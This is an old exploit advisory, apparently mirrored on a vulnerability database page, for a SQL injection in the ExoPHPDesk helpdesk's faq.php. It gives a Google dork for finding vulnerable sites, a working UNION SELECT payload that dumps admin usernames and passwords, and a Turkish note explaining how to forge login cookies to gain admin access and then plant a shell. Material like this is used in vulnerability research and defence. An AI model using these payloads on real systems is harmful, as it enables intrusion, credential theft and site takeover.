ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability

🗓️ 01 Feb 2007 00:00:00Reported by RootType

ExoPHPDesk 1.2.1 (faq.php) Remote SQL Injection Vulnerability by ajan


                                                *******************************************************************************
#&nbsp;Title&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;ExoPHPDesk&nbsp;&lt;=&nbsp;1.2.1&nbsp;(faq.php)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
#&nbsp;Author&nbsp;&nbsp;:&nbsp;&nbsp;ajann
#&nbsp;Contact&nbsp;:&nbsp;&nbsp;:(
#&nbsp;S.Page&nbsp;&nbsp;:&nbsp;&nbsp;http://www.exoscripts.com
#&nbsp;$$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Free
#&nbsp;Dork&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Powered&nbsp;by&nbsp;ExoPHPDesk&nbsp;v1.2&nbsp;Final.
#&nbsp;DorkEx&nbsp;&nbsp;:&nbsp;&nbsp;http://www.google.com.tr/search?q=Powered+by+ExoPHPDesk+v1.2+Final.+&amp;hl=tr&amp;start=0&amp;sa=N

#&nbsp;Info&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;\*&nbsp;Google&nbsp;aramasi&nbsp;sonucu&nbsp;admin&nbsp;kullanici&nbsp;adini&nbsp;ve&nbsp;hashlarini&nbsp;ele
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gecirdiginizde&nbsp;md5&nbsp;ile&nbsp;sifrelenmis&nbsp;hashi&nbsp;kirmamiza&nbsp;gerek&nbsp;yok.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Siteye&nbsp;uye&nbsp;olarak&nbsp;beni&nbsp;hatirla&nbsp;tarzi&nbsp;cookie&nbsp;ile&nbsp;girisimizi&nbsp;yaparak,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookilerde&nbsp;tutulan&nbsp;UserName&nbsp;ve&nbsp;Pass'i&nbsp;degistererek&nbsp;,&nbsp;admin&nbsp;yetkisi
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ile&nbsp;giris&nbsp;yapabilirsiniz.Daha&nbsp;sonra&nbsp;ticket&nbsp;bolumunden&nbsp;eger&nbsp;serverda
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ayarlar&nbsp;tamsa(configdeki)&nbsp;shell&nbsp;sokabilirsiniz.&nbsp;/*

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//faq.php?action=&amp;type=view&amp;s=&amp;id=[SQL]

Example:

//faq.php?action=&amp;type=view&amp;s=&amp;id=-1'%20union%20select%200,concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),name,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58),pass),0,0,0,0,0%20from%20phpdesk_admin/*

[[/SQL]]

&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;
#&nbsp;ajann,Turkey
#&nbsp;...

#&nbsp;Im&nbsp;not&nbsp;Hacker!

01 Feb 2007 00:00Current

7.1High risk

Vulners AI Score7.1

ExoPHPDesk &lt;= 1.2.1 (faq.php) Remote SQL Injection Vulnerability

ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability